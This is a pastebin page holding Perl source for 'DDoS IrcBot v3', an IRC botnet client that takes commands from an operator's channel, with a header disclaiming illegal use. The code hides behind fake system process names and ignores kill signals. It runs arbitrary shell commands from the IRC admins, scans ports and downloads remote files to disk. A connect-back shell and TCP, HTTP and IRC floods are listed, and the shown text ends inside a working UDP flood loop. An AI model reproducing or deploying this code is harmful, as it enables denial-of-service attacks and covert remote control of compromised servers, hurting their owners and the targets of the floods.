Advertisement
TP2K1

DDoS IrcBot v3 By LFB [Perl]

Jun 24th, 2015
2,702
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.15 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ######################################################################################################################
  4. ######################################################################################################################
  5. ## DDoS script IrcBot v3.0 / 2015 by Live For Brother Team ## [ Help ] ###########################################
  6. ## Stealth MultiFunctional IrcBot writen in Perl #######################################################
  7. ## Teste on every system with PERL instlled ## !u @system ##
  8. ## ## !u @version ##
  9. ## This is a free program used on your own risk. ## !u @channel ##
  10. ## Created for educational purpose only. ## !u @flood ##
  11. ## I'm not responsible for the illegal use of this program. ## !u @utils ##
  12. ######################################################################################################################
  13. ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
  14. ######################################################################################################################
  15. ## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ##
  16. ## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ##
  17. ## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ##
  18. ## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ##
  19. ## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ##
  20. ## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ##
  21. ## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ##
  22. ## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ##
  23. ## !u !msg <nick> ## !u @noticeflood <nick> ## ##
  24. ## !u !quit ## ## ##
  25. ## !u !uaw ## ## ##
  26. ## !u @die ## ## ##
  27. ## ## ## ##
  28. ######################################################################################################################
  29. ######################################################################################################################
  30.  
  31. #############################
  32. ##### [ Configuration ] #####
  33. #############################
  34.  
  35. my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  36. "/usr/sbin/httpd -k start -DSSL",
  37. "/usr/sbin/httpd",
  38. "/usr/sbin/sshd -i",
  39. "/usr/sbin/sshd",
  40. "/usr/sbin/sshd -D",
  41. "/usr/sbin/apache2 -k start",
  42. "/sbin/syslogd",
  43. "/sbin/klogd -c 1 -x -x",
  44. "/usr/sbin/acpid",
  45. "/usr/sbin/cron");
  46. my $process = $rps[rand scalar @rps];
  47.  
  48. my @rversion = ("\001VERSION - unknown command.\001",
  49. "\001mIRC v5.91 K.Mardam-Bey\001",
  50. "\001mIRC v6.2 Khaled Mardam-Bey\001",
  51. "\001mIRC v6.03 Khaled Mardam-Bey\001",
  52. "\001mIRC v6.14 Khaled Mardam-Bey\001",
  53. "\001mIRC v6.15 Khaled Mardam-Bey\001",
  54. "\001mIRC v6.16 Khaled Mardam-Bey\001",
  55. "\001mIRC v6.17 Khaled Mardam-Bey\001",
  56. "\001mIRC v6.21 Khaled Mardam-Bey\001",
  57. "\001mIRC v6.31 Khaled Mardam-Bey\001",
  58. "\001mIRC v7.15 Khaled Mardam-Bey\001");
  59. my $vers = $rversion[rand scalar @rversion];
  60.  
  61. my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
  62. "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
  63. "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
  64. "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
  65. "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
  66. "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
  67. "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
  68. "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
  69. "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
  70. "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
  71. "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
  72. "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
  73. "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
  74. "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
  75. "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
  76. "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
  77. "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
  78. "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
  79. "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
  80. "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
  81. "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
  82. "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
  83. "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
  84. "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
  85. "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
  86. "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
  87. "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
  88. "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
  89. "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
  90. "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
  91. "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
  92. "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
  93. "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
  94. "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
  95. "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
  96. "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
  97. "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
  98. "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
  99. "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
  100. "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
  101. "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
  102. "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
  103. "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
  104. "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
  105. "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
  106. "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
  107. "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
  108. "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
  109. "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
  110. "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
  111. "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
  112. "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
  113. "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
  114. "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
  115. "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
  116. "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
  117. "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
  118. "zwsiew","zwsiewale");
  119.  
  120. my $ircname = $rircname[rand scalar @rircname];
  121.  
  122. ## my @rrealname = ("4,1[ DDoS Live For Brother Team ]",
  123. ## "4,1 /!\ DDoS Live For Brother Team /!\ ",
  124. ## "12,1<///8,1///4,1###>",
  125. ## "2,1---=== 4,1 DDoS Live For Brother Team 2,1===---");
  126. ## chop (my $realname = $rrealname[rand scalar @rrealname]);
  127.  
  128. chop (my $realname = $rircname[rand scalar @rircname]);
  129.  
  130. ## my @nickname = ("DDoS[U]");
  131. ## my $nick =$nickname[rand scalar @nickname];
  132.  
  133. my $nick =$rircname[rand scalar @rircname];
  134.  
  135. $server = 'tampa.fl.us.undernet.org' unless $server;
  136. my $port = '6667';
  137.  
  138. my $linas_max='8';
  139. my $sleep='5';
  140.  
  141. my $homedir = "/tmp";
  142. my $version = 'DDoS Perl Bot v1.0';
  143.  
  144. my @admins = ("JudGe","DDoS","JudGe-");
  145. my @hostauth = ("DDoSPoWeR.users.undernet.org");
  146. my @channels = ("#AlieN");
  147.  
  148. my $pacotes = 1;
  149.  
  150. #################################################################
  151. ##### [ Stop Editing if you dont know what are you doing. ] #####
  152. #################################################################
  153.  
  154. $SIG{'INT'} = 'IGNORE';
  155. $SIG{'HUP'} = 'IGNORE';
  156. $SIG{'TERM'} = 'IGNORE';
  157. $SIG{'CHLD'} = 'IGNORE';
  158. $SIG{'PS'} = 'IGNORE';
  159.  
  160. use Socket;
  161. use IO::Socket;
  162. use IO::Socket::INET;
  163. use IO::Select;
  164.  
  165. chdir("$homedir");
  166.  
  167. $server="$ARGV[0]" if $ARGV[0];
  168. $0="$process"."\0"x16;;
  169. my $pid=fork;
  170. exit if $pid;
  171. die "Can't fork in background: $!" unless defined($pid);
  172.  
  173. our %irc_servers;
  174. our %DCC;
  175. my $dcc_sel = new IO::Select->new();
  176. $sel_cliente = IO::Select->new();
  177. sub sendraw {
  178. if ($#_ == '1') {
  179. my $socket = $_[0];
  180. print $socket "$_[1]\n";
  181. } else {
  182. print $IRC_cur_socket "$_[0]\n";
  183. }
  184. }
  185.  
  186. sub getstore ($$)
  187. {
  188. my $url = shift;
  189. my $file = shift;
  190. $http_stream_out = 1;
  191. open(GET_OUTFILE, "> $file");
  192. %http_loop_check = ();
  193. _get($url);
  194. close GET_OUTFILE;
  195. return $main::http_get_result;
  196. }
  197.  
  198. sub _get
  199. {
  200. my $url = shift;
  201. my $proxy = "";
  202. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  203. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  204. my $host = $1;
  205. my $port = $2 || 80;
  206. my $path = $3;
  207. $path = "/" unless defined($path);
  208. return _trivial_http_get($host, $port, $path);
  209. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  210. my $host = $1;
  211. my $port = $2;
  212. my $path = $url;
  213. return _trivial_http_get($host, $port, $path);
  214. } else {
  215. return undef;
  216. }
  217. }
  218.  
  219.  
  220. sub _trivial_http_get
  221. {
  222. my($host, $port, $path) = @_;
  223. my($AGENT, $VERSION, $p);
  224. $AGENT = "get-minimal";
  225. $VERSION = "20000118";
  226. $path =~ s/ /%20/g;
  227.  
  228. require IO::Socket;
  229. local($^W) = 0;
  230. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  231. PeerPort => $port,
  232. Proto => 'tcp',
  233. Timeout => 60) || return;
  234. $sock->autoflush;
  235. my $netloc = $host;
  236. $netloc .= ":$port" if $port != 80;
  237. my $request = "GET $path HTTP/1.0\015\012"
  238. . "Host: $netloc\015\012"
  239. . "User-Agent: $AGENT/$VERSION/u\015\012";
  240. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  241. $request .= "\015\012";
  242. print $sock $request;
  243.  
  244. my $buf = "";
  245. my $n;
  246. my $b1 = "";
  247. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  248. if ($b1 eq "") {
  249. $b1 = $buf;
  250. $buf =~ s/.+?\015?\012\015?\012//s;
  251. }
  252. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  253. }
  254. return undef unless defined($n);
  255. $main::http_get_result = 200;
  256. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  257. $main::http_get_result = $1;
  258. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  259. my $url = $1;
  260. return undef if $http_loop_check{$url}++;
  261. return _get($url);
  262. }
  263. return undef unless $main::http_get_result =~ /^2/;
  264. }
  265.  
  266. return $buf;
  267. }
  268.  
  269. sub conectar {
  270. my $meunick = $_[0];
  271. my $server_con = $_[1];
  272. my $port_con = $_[2];
  273. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  274. PeerPort=>$port_con) or return(1);
  275. if (defined($IRC_socket)) {
  276. $IRC_cur_socket = $IRC_socket;
  277. $IRC_socket->autoflush(1);
  278. $sel_cliente->add($IRC_socket);
  279. $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  280. $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  281. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  282. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  283. nick("$meunick");
  284. sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  285. sleep 1;
  286. }
  287. }
  288.  
  289. my $line_temp;
  290. while( 1 ) {
  291. while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  292. delete($irc_servers{''}) if (defined($irc_servers{''}));
  293. my @ready = $sel_cliente->can_read(0);
  294. next unless(@ready);
  295. foreach $fh (@ready) {
  296. $IRC_cur_socket = $fh;
  297. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  298. $nread = sysread($fh, $msg, 4096);
  299. if ($nread == 0) {
  300. $sel_cliente->remove($fh);
  301. $fh->close;
  302. delete($irc_servers{$fh});
  303. }
  304. @lines = split (/\n/, $msg);
  305. for(my $c=0; $c<= $#lines; $c++) {
  306. $line = $lines[$c];
  307. $line=$line_temp.$line if ($line_temp);
  308. $line_temp='';
  309. $line =~ s/\r$//;
  310. unless ($c == $#lines) {
  311. parse("$line");
  312. } else {
  313. if ($#lines == 0) {
  314. parse("$line");
  315. } elsif ($lines[$c] =~ /\r$/) {
  316. parse("$line");
  317. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  318. parse("$line");
  319. } else {
  320. $line_temp = $line;
  321. }
  322. }
  323. }
  324. }
  325. }
  326.  
  327. sub parse {
  328. my $servarg = shift;
  329. if ($servarg =~ /^PING \:(.*)/) {
  330. sendraw("PONG :$1");
  331. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  332. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  333. if ($args =~ /^\001VERSION\001$/) {
  334. notice("$pn", "".$vers."");
  335. }
  336. if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  337. if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  338. if ($onde eq "$meunick"){
  339. shell("$pn", "$args");
  340. }
  341. if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
  342. my $natrix = $1;
  343. my $arg = $2;
  344. if ($arg =~ /^\!(.*)/) {
  345. ircase("$pn","$onde","$1");
  346. } elsif ($arg =~ /^\@(.*)/) {
  347. $ondep = $onde;
  348. $ondep = $pn if $onde eq $meunick;
  349. bfunc("$ondep","$1");
  350. } else {
  351. shell("$onde", "$arg");
  352. }
  353. }
  354. }
  355. }
  356. }
  357.  
  358. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  359. if (lc($1) eq lc($meunick)) {
  360. $meunick=$4;
  361. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  362. }
  363. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  364. nick("$meunick-".int rand(9999));
  365. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  366. $meunick = $2;
  367. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  368. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  369. foreach my $canal (@channels) {
  370. sendraw("MODE $nick +x");
  371. sendraw("JOIN $canal");
  372. sendraw("PRIVMSG $canal :4,1 [DDoS Perl Bot] 9,1Hello, I`m Ready To Serve ... ");
  373. }
  374. }
  375. }
  376.  
  377. sub bfunc {
  378. my $printl = $_[0];
  379. my $funcarg = $_[1];
  380. if (my $pid = fork) {
  381. waitpid($pid, 0);
  382. } else {
  383. if (fork) {
  384. exit;
  385. } else {
  386. ###########################
  387. ##### [ Help Module ] #####
  388. ###########################
  389.  
  390. if ($funcarg =~ /^help/) {
  391. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  392. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help: ");
  393. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  394. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system ");
  395. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version ");
  396. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel ");
  397. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood ");
  398. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils ");
  399. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  400. }
  401.  
  402. if ($funcarg =~ /^system/) {
  403. $uptime=`uptime`;
  404. $ownd=`pwd`;
  405. $id=`id`;
  406. $uname=`uname -srp`;
  407. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  408. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: ");
  409. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  410. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server ");
  411. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port ");
  412. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels ");
  413. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname ");
  414. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime ");
  415. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process ");
  416. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ ");
  417. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id ");
  418. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd ");
  419. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  420. }
  421.  
  422. if ($funcarg =~ /^version/){
  423. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  424. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: ");
  425. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  426. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version ");
  427. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS ");
  428. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122014 ");
  429. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  430. }
  431.  
  432. if ($funcarg =~ /^flood/) {
  433. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  434. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: ");
  435. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  436. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> ");
  437. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> ");
  438. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> ");
  439. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> ");
  440. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> ");
  441. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> ");
  442. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> ");
  443. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> ");
  444. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  445. }
  446.  
  447. if ($funcarg =~ /^channel/) {
  448. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  449. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help: ");
  450. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  451. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> ");
  452. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> ");
  453. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> ");
  454. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick> ");
  455. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> ");
  456. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> ");
  457. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> ");
  458. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> ");
  459. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> ");
  460. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit ");
  461. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die ");
  462. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  463. }
  464.  
  465. if ($funcarg =~ /^utils/) {
  466. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  467. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help: ");
  468. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  469. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port> ");
  470. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file> ");
  471. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message> ");
  472. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip> ");
  473. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port> ");
  474. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip> ");
  475. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example) ");
  476. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  477. }
  478.  
  479. #########################
  480. ##### [ Functions ] #####
  481. #########################
  482.  
  483. if ($funcarg =~ /^die/) {
  484. sendraw($IRC_cur_socket, "QUIT :");
  485. $killd = "kill -9 ".fork;
  486. system (`$killd`);
  487. }
  488. ###########
  489. if ($funcarg =~ /^join (.*)/) {
  490. sendraw($IRC_cur_socket, "JOIN ".$1);
  491. }
  492.  
  493. if ($funcarg =~ /^part (.*)/) {
  494. sendraw($IRC_cur_socket, "PART ".$1);
  495. }
  496. ###########
  497. if ($funcarg =~ /^portscan (.*)/) {
  498. my $hostip="$1";
  499. my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  500. my (@aberta, %porta_banner);
  501. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  502. foreach my $porta (@portas) {
  503. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  504. if ($scansock) {
  505. push (@aberta, $porta);
  506. $scansock->close;
  507. }
  508. }
  509. if (@aberta) {
  510. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
  511. } else {
  512. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
  513. }
  514. }
  515. ##############
  516. if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  517. getstore("$1", "$2");
  518. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
  519. }
  520. ##############
  521. if ($funcarg =~ /^dns\s+(.*)/){
  522. my $nsku = $1;
  523. $mydns = inet_ntoa(inet_aton($nsku));
  524. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
  525. }
  526. ##############
  527. if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
  528. my $hostip= "$1";
  529. my $portsc= "$2";
  530. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  531. if ($scansock) {
  532. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
  533. }
  534. else {
  535. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
  536. }
  537. }
  538. ##############
  539. if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  540. return unless $pacotes;
  541. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  542. my $alvo=inet_aton("$1");
  543. my $porta = "$2";
  544. my $dtime = "$3";
  545. my $pacote;
  546. my $pacotese;
  547. my $size = 0;
  548. my $fim = time + $dtime;
  549. my $pacota = 1;
  550. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  551. while (($pacota == "1") && ($pacotes == "1")) {
  552. $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  553. $pacote = $size ? $size : int(rand(1024-64)+64) ;
  554. $porta = int(rand 65000) +1 if ($porta == "0");
  555. #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  556. send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
  557. }
